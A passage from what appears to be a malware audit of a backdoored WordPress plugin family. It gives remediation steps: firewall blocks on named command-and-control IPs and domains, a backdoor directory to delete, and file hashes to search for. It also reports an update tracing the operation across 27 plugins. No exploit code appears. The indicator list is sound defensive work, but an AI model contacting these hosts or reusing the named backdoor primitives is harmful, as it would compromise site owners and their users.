1. Block outbound to 198.7.59.167 and 198.7.59.168 at the firewall. These are the current operator-controlled allowlist IPs — blocking them prevents the backdoor from receiving tasks. 2. **Block outbound to anything resolving to *.siteguarding.com (the rDNS-based auth bypass means the operator can promote new IPs by adding zone entries; firewall by hostname is more durable than by IP). 3. Block outbound to safetybis.com (sibling C2 in the SiteGuarding family). 4. Look for webanalyze/ directory under WP root — both the backup backdoor (siteguarding_tools.php) and any leftover website-security-conf.php (containing login credentials previously exfiltrated). Delete the entire webanalyze/ directory. 5. Search for any file with md5 36085499a539d4543b1ec0f59f1ad0c7** — that's the current v2.4 backdoor. Also 3eddf6d18214d0d612809efd585a2471 for v1.7. Older versions (v1.0-v1.6, v2.0-v2.3) likely exist in the wild as well.
Update 2026-05-03 — wp.org's 2020 closure was a backdoor takedown, not a guideline violation
Cold-scan of all 27 SiteGuarding-account plugins on 2026-05-03 (wp beacon scan_code against current trunks) showed 100% IOC overlap with this audit. Every plugin in the 2013-2020 portfolio (4,830 combined active installs) calls siteguarding.com. 10 of 27 ship the Task_savefile RCE primitive from siteguarding_tools.php directly inline. 2 ship the latest_ver push-update self-modify channel — the same primitive this audit's 2026-05-02 v2.4 section described as a 'new in v2.4' addition was already in production in 2020 (wp-antivirus-site-protection, 4,000 installs, has 11 hits on it). 2 plugins call safetybis.com in code (grab-youtube-subtitle 4×, realtime-seo 2×), confirming the sibling C2 was historically wired, not parked.
Reframing: wp.org's closed_reason='guideline-violation' for these 27 plugins (closed 2020-05-04 → 2020-06-05) is a category usually reserved for promo-banner or affiliate-link issues. The actual finding is that wp.org caught and removed a backdoored portfolio in 2020 without disclosing the malware nature publicly. The 2020 closure was a hidden RCE-backdoor takedown, not a policy cleanup.
The 2026 wave on wp-advanced-math-captcha (this audit) and image-optimizer-x (audit #26) is the same operator returning under burner accounts — @lulub5592 registered 2020-07-01, 26 days after the 2020 ban. The takedown didn't end the operation; it pushed it onto fresh shells.
See audit #28 for the full 27-plugin portfolio analysis.